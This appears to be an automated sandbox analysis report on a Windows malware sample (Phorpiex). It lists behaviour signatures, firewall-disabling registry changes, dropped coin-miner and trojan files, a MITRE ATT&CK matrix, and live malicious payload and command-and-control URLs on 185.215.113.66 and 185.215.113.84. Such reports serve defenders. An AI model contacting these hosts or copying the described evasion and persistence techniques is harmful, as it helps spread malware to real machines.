                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeCode function: 5_2_00321490 GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,wsprintfA,5_2_00321490
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeCode function: 5_2_00321490 GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,wsprintfA,5_2_00321490

                              Lowering of HIPS / PFW / Operating System Security Settings

                              barindex
                              Changes security center settings (notifications, updates, antivirus, firewall)
                              Source: C:\Windows\wsysrxvcs.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverrideJump to behavior

                              Remote Access Functionality

                              barindex
                              Yara detected Phorpiex
                              Source: Yara matchFile source: file.exe, type: SAMPLE
                              Source: Yara matchFile source: 9.0.587025894.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 2.0.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 1.2.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 2.2.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 1.0.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 9.2.587025894.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000002.00000000.330146799.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000000.306324126.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000002.635340368.00000000044B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000009.00000000.394260629.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000000.301551885.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000009.00000002.399491223.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.306336338.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: file.exe PID: 4684, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: wsysrxvcs.exe PID: 2200, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: wsysrxvcs.exe PID: 4544, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: 587025894.exe PID: 6232, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Windows\wsysrxvcs.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\587025894.exe, type: DROPPED
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040DC60 CreateEventA,socket,bind,CreateThread,0_2_0040DC60
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040C470 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,0_2_0040C470
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040E9F0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,0_2_0040E9F0
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040D790 CreateEventA,socket,htons,setsockopt,bind,CreateThread,0_2_0040D790
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040DC60 CreateEventA,socket,bind,CreateThread,1_2_0040DC60
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040C470 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,1_2_0040C470
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040E9F0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,1_2_0040E9F0
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040D790 CreateEventA,socket,htons,setsockopt,bind,CreateThread,1_2_0040D790
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040DC60 CreateEventA,socket,bind,CreateThread,2_2_0040DC60
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040C470 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,2_2_0040C470
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040E9F0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,2_2_0040E9F0
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040D790 CreateEventA,socket,htons,setsockopt,bind,CreateThread,2_2_0040D790

                              Mitre Att&ck Matrix

                              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                              Valid Accounts11
                              Windows Management Instrumentation                              		1
                              DLL Side-Loading                              		1
                              DLL Side-Loading                              		1
                              Disable or Modify Tools                              		21
                              Input Capture                              		2
                              System Time Discovery                              		Remote Services1
                              Archive Collected Data                              		Exfiltration Over Other Network Medium14
                              Ingress Tool Transfer                              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
                              Data Encrypted for Impact
                              Default Accounts11
                              Native API                              		1
                              Windows Service                              		1
                              Windows Service                              		21
                              Obfuscated Files or Information                              		LSASS Memory2
                              System Network Connections Discovery                              		Remote Desktop Protocol21
                              Input Capture                              		Exfiltration Over Bluetooth2
                              Encrypted Channel                              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                              Domain Accounts1
                              Command and Scripting Interpreter                              		1
                              Scheduled Task/Job                              		311
                              Process Injection                              		21
                              Software Packing                              		Security Account Manager1
                              File and Directory Discovery                              		SMB/Windows Admin Shares2
                              Clipboard Data                              		Automated Exfiltration1
                              Non-Standard Port                              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                              Local Accounts1
                              Scheduled Task/Job                              		Logon Script (Mac)1
                              Scheduled Task/Job                              		1
                              DLL Side-Loading                              		NTDS25
                              System Information Discovery                              		Distributed Component Object ModelInput CaptureScheduled Transfer3
                              Non-Application Layer Protocol                              		SIM Card SwapCarrier Billing Fraud
                              Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script121
                              Masquerading                              		LSA Secrets331
                              Security Software Discovery                              		SSHKeyloggingData Transfer Size Limits33
                              Application Layer Protocol                              		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
                              Replication Through Removable MediaLaunchdRc.commonRc.common131
                              Virtualization/Sandbox Evasion                              		Cached Domain Credentials1
                              Process Discovery                              		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                              External Remote ServicesScheduled TaskStartup ItemsStartup Items311
                              Process Injection                              		DCSync131
                              Virtualization/Sandbox Evasion                              		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                              Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
                              Hidden Files and Directories                              		Proc Filesystem1
                              Application Window Discovery                              		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                              Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow1
                              Remote System Discovery                              		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
                              Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork Sniffing1
                              System Network Configuration Discovery                              		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

                              Behavior Graph

                              Hide Legend

                              Legend:

                              • Process
                              • Signature
                              • Created File
                              • DNS/IP Info
                              • Is Dropped
                              • Is Windows Process
                              • Number of created Registry Values
                              • Number of created Files
                              • Visual Basic
                              • Delphi
                              • Java
                              • .Net C# or VB.NET
                              • C, C++ or other language
                              • Is malicious
                              • Internet
                              behaviorgraph top1 signatures2 2 Behavior Graph ID: 831531 Sample: file.exe Startdate: 21/03/2023 Architecture: WINDOWS Score: 100 92 Snort IDS alert for network traffic 2->92 94 Antivirus detection for URL or domain 2->94 96 Antivirus detection for dropped file 2->96 98 10 other signatures 2->98 8 file.exe 1 1 2->8         started        12 winsvrupd.exe 2->12         started        14 powershell.exe 36 2->14         started        16 4 other processes 2->16 process3 file4 64 C:\Windows\wsysrxvcs.exe, PE32 8->64 dropped 128 Found evasive API chain (may stop execution after checking mutex) 8->128 130 Contains functionality to check if Internet connection is working 8->130 132 Drops executables to the windows directory (C:\Windows) and starts them 8->132 144 2 other signatures 8->144 18 wsysrxvcs.exe 7 28 8->18         started        66 C:\Users\user\AppData\Roaming\...\WR64.sys, PE32+ 12->66 dropped 68 C:\Users\user\AppData\Local\...\mpnsrsgv.tmp, PE32+ 12->68 dropped 134 Writes to foreign memory regions 12->134 136 Modifies the context of a thread in another process (thread injection) 12->136 138 Maps a DLL or memory area into another process 12->138 140 Sample is not signed and drops a device driver 12->140 23 cmd.exe 12->23         started        142 Uses schtasks.exe or at.exe to add and modify task schedules 14->142 25 conhost.exe 14->25         started        27 conhost.exe 16->27         started        29 schtasks.exe 16->29         started        31 conhost.exe 16->31         started        33 2 other processes 16->33 signatures5 process6 dnsIp7 72 185.215.113.66 WHOLESALECONNECTIONSNL Portugal 18->72 74 2.180.17.91 TCIIR Iran (ISLAMIC Republic Of) 18->74 76 23 other IPs or domains 18->76 50 C:\Users\user\AppData\Local\...\75601095.exe, PE32 18->50 dropped 52 C:\Users\user\AppData\Local\...\587025894.exe, PE32 18->52 dropped 54 C:\Users\user\AppData\Local\...\311029678.exe, PE32 18->54 dropped 56 C:\Users\user\AppData\Local\...\120477188.exe, PE32 18->56 dropped 100 Antivirus detection for dropped file 18->100 102 Multi AV Scanner detection for dropped file 18->102 104 Found evasive API chain (may stop execution after checking mutex) 18->104 108 5 other signatures 18->108 35 120477188.exe 16 18->35         started        40 311029678.exe 16 18->40         started        42 75601095.exe 16 18->42         started        44 587025894.exe 18->44         started        106 Query firmware table information (likely to detect VMs) 23->106 file8 signatures9 process10 dnsIp11 78 185.215.113.84 WHOLESALECONNECTIONSNL Portugal 35->78 58 C:\Users\user\AppData\...\1258033132.exe, PE32+ 35->58 dropped 60 C:\Users\user\AppData\Local\...\xmr[1].exe, PE32+ 35->60 dropped 110 Antivirus detection for dropped file 35->110 112 Multi AV Scanner detection for dropped file 35->112 114 Machine Learning detection for dropped file 35->114 46 1258033132.exe 3 35->46         started        80 mx1.qq.com 40->80 82 hotmail-com.olc.protection.outlook.com 40->82 88 673 other IPs or domains 40->88 62 C:\Users\user\AppData\Local\...\529[1].txt, ASCII 40->62 dropped 116 Found evasive API chain (may stop execution after checking mutex) 40->116 118 Contains functionality to determine the online IP of the system 40->118 120 May check the online IP address of the machine 40->120 122 Writes a notice file (html or txt) to demand a ransom 40->122 84 mail.ru 42->84 86 gmail.com 42->86 90 664 other IPs or domains 42->90 124 Hides that the sample has been downloaded from the Internet (zone.identifier) 42->124 file12 126 Tries to resolve many domain names, but no domain seems valid 86->126 signatures13 process14 file15 70 C:\Users\user\...\winsvrupd.exe, PE32+ 46->70 dropped 146 Antivirus detection for dropped file 46->146 148 Multi AV Scanner detection for dropped file 46->148 signatures16

                              Screenshots

                              Thumbnails

                              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                              windows-stand

                              Antivirus, Machine Learning and Genetic Malware Detection

                              Initial Sample

                              SourceDetectionScannerLabelLink
                              file.exe83%ReversingLabsWin32.Trojan.FWDisable
                              file.exe66%VirustotalBrowse
                              file.exe100%AviraHEUR/AGEN.1237550
                              file.exe100%Joe Sandbox ML

                              Dropped Files

                              SourceDetectionScannerLabelLink
                              C:\Users\user\AppData\Local\Temp\311029678.exe100%AviraTR/Crypt.XPACK.Gen
                              C:\Users\user\Windows Security\Update\winsvrupd.exe100%AviraTR/Crypt.EPACK.Gen2
                              C:\Windows\wsysrxvcs.exe100%AviraHEUR/AGEN.1237550
                              C:\Users\user\AppData\Local\Temp\75601095.exe100%AviraTR/Crypt.XPACK.Gen
                              C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp100%AviraHEUR/AGEN.1213003
                              C:\Users\user\AppData\Local\Temp\1258033132.exe100%AviraTR/Crypt.EPACK.Gen2
                              C:\Users\user\AppData\Local\Temp\587025894.exe100%AviraHEUR/AGEN.1237550
                              C:\Users\user\AppData\Local\Temp\120477188.exe100%AviraTR/Crypt.XPACK.Gen
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\xmr[1].exe100%AviraTR/Crypt.EPACK.Gen2
                              C:\Users\user\AppData\Local\Temp\311029678.exe100%Joe Sandbox ML
                              C:\Windows\wsysrxvcs.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\75601095.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\587025894.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\120477188.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\xmr[1].exe84%ReversingLabsWin64.Trojan.Barys
                              C:\Users\user\AppData\Local\Temp\120477188.exe88%ReversingLabsWin32.Trojan.Zusy
                              C:\Users\user\AppData\Local\Temp\1258033132.exe84%ReversingLabsWin64.Trojan.Barys
                              C:\Users\user\AppData\Local\Temp\311029678.exe90%ReversingLabsWin32.Trojan.MintZard
                              C:\Users\user\AppData\Local\Temp\587025894.exe83%ReversingLabsWin32.Trojan.FWDisable
                              C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp60%ReversingLabsWin64.Coinminer.BitCoinMiner
                              C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys5%ReversingLabs
                              C:\Users\user\Windows Security\Update\winsvrupd.exe84%ReversingLabsWin64.Trojan.Barys
                              C:\Windows\wsysrxvcs.exe83%ReversingLabsWin32.Trojan.FWDisable

                              Unpacked PE Files

                              SourceDetectionScannerLabelLinkDownload
                              5.2.311029678.exe.320000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                              0.0.file.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File
                              5.0.311029678.exe.320000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                              2.2.wsysrxvcs.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File
                              3.2.120477188.exe.b60000.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                              2.0.wsysrxvcs.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File
                              4.2.1258033132.exe.7ff7d2530000.1.unpack100%AviraTR/Crypt.EPACK.Gen2Download File
                              9.2.587025894.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File
                              3.0.120477188.exe.b60000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                              8.2.75601095.exe.10a0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                              0.2.file.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File
                              9.0.587025894.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File
                              4.0.1258033132.exe.7ff7d2530000.0.unpack100%AviraTR/Crypt.EPACK.Gen2Download File
                              15.2.winsvrupd.exe.7ff642ce0000.0.unpack100%AviraTR/Crypt.EPACK.Gen2Download File
                              8.0.75601095.exe.10a0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                              1.2.wsysrxvcs.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File
                              15.0.winsvrupd.exe.7ff642ce0000.0.unpack100%AviraTR/Crypt.EPACK.Gen2Download File
                              1.0.wsysrxvcs.exe.400000.0.unpack100%AviraHEUR/AGEN.1237550Download File

                              Domains

                              SourceDetectionScannerLabelLink
                              2036.com0%VirustotalBrowse
                              2222.com1%VirustotalBrowse

                              URLs

                              SourceDetectionScannerLabelLink
                              http://www.microsoft.co0%URL Reputationsafe
                              https://contoso.com/License0%URL Reputationsafe
                              https://go.micros0%URL Reputationsafe
                              https://contoso.com/0%URL Reputationsafe
                              http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
                              https://go.micro0%URL Reputationsafe
                              http://185.215.113.66/cawkz/100%Avira URL Cloudmalware
                              https://contoso.com/Icon0%URL Reputationsafe
                              http://185.215.113.66/cock/100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/1342.txt4100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/1342.txt100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/1342.txt8100%Avira URL Cloudmalware
                              http://185.215.113.66/3(KHTML100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/1342.txtO100%Avira URL Cloudmalware
                              http://185.215.113.66/3~100%Avira URL Cloudmalware
                              http://185.215.113.66/1W100%Avira URL Cloudmalware
                              http://185.215.113.66/29100%Avira URL Cloudmalware
                              http://185.215.113.66/13100%Avira URL Cloudmalware
                              http://185.215.113.66/17100%Avira URL Cloudmalware
                              http://185.215.113.66/2ystem32100%Avira URL Cloudmalware
                              http://185.215.113.84/xmr.exev100%Avira URL Cloudmalware
                              http://185.215.113.66/3LMEM0100%Avira URL Cloudmalware
                              http://185.215.113.84/xmr.exeAp100%Avira URL Cloudmalware
                              http://185.215.113.66/cock/529.txt100%Avira URL Cloudmalware
                              http://185.215.113.66/1K100%Avira URL Cloudmalware
                              http://185.215.113.66/4-stream100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/n.txt100%Avira URL Cloudmalware
                              http://185.215.113.66/5h100%Avira URL Cloudmalware
                              http://185.215.113.66/1.dll100%Avira URL Cloudmalware
                              http://185.215.113.66/3KKC:100%Avira URL Cloudmalware
                              http://185.215.113.66/100%Avira URL Cloudmalware
                              http://185.215.113.84/xmr.exe100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/1342.txt.100%Avira URL Cloudmalware
                              http://185.215.113.66/26100%Avira URL Cloudmalware
                              http://185.215.113.84/xmr.exe%100%Avira URL Cloudmalware
                              http://185.215.113.66/5Z100%Avira URL Cloudmalware
                              http://185.215.113.66/5(KHTML100%Avira URL Cloudmalware
                              http://185.215.113.66/D100%Avira URL Cloudmalware
                              http://185.215.113.66/3D100%Avira URL Cloudmalware
                              http://185.215.113.66/5KKC:100%Avira URL Cloudmalware
                              http://185.215.113.84/xmr.exeWp100%Avira URL Cloudmalware
                              http://185.215.113.66/1LMEM0100%Avira URL Cloudmalware
                              http://185.215.113.66/5100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/n.txtV100%Avira URL Cloudmalware
                              http://185.215.113.66/4100%Avira URL Cloudmalware
                              http://185.215.113.66/2100%Avira URL Cloudmalware
                              http://185.215.113.66/3100%Avira URL Cloudmalware
                              http://185.215.113.66/1C:100%Avira URL Cloudmalware
                              http://185.215.113.66/1iLMEM8100%Avira URL Cloudmalware
                              http://185.215.113.66/2O100%Avira URL Cloudmalware
                              http://185.215.113.66/cock/529.txtt100%Avira URL Cloudmalware
                              http://185.215.113.84/xmr.exeI100%Avira URL Cloudmalware
                              http://185.215.113.66/1100%Avira URL Cloudmalware
                              http://185.215.113.66/5LMEM0PNhQ100%Avira URL Cloudmalware
                              http://185.215.113.66/5LMEM0100%Avira URL Cloudmalware
                              http://185.215.113.66/cawkz/http://185.215.113.66/cawkz/n.txt100%Avira URL Cloudmalware
                              http://185.215.113.66/cock/n.txt100%Avira URL Cloudmalware
                              http://185.215.113.66/3C:100%Avira URL Cloudmalware
                              http://185.215.113.66/1%100%Avira URL Cloudmalware
                              http://185.215.113.66/cock/http://185.215.113.66/cock/n.txt_100%Avira URL Cloudmalware
                              http://185.215.113.66/4Po100%Avira URL Cloudmalware
                              http://185.215.113.66/3h100%Avira URL Cloudmalware
                              http://185.215.113.66/9998883922wsysrxvcs.exeWindows100%Avira URL Cloudmalware
                              http://185.215.113.66/1KKC:100%Avira URL Cloudmalware
                              http://185.215.113.66/cock/8100%Avira URL Cloudmalware
                              http://185.215.113.84/xmr.exeSystem32100%Avira URL Cloudmalware
                              http://185.215.113.66/3ystem32100%Avira URL Cloudmalware

                              Domains and IPs

                              Contacted Domains

                              NameIPActiveMaliciousAntivirus DetectionReputation
                              mx-ha02.web.de
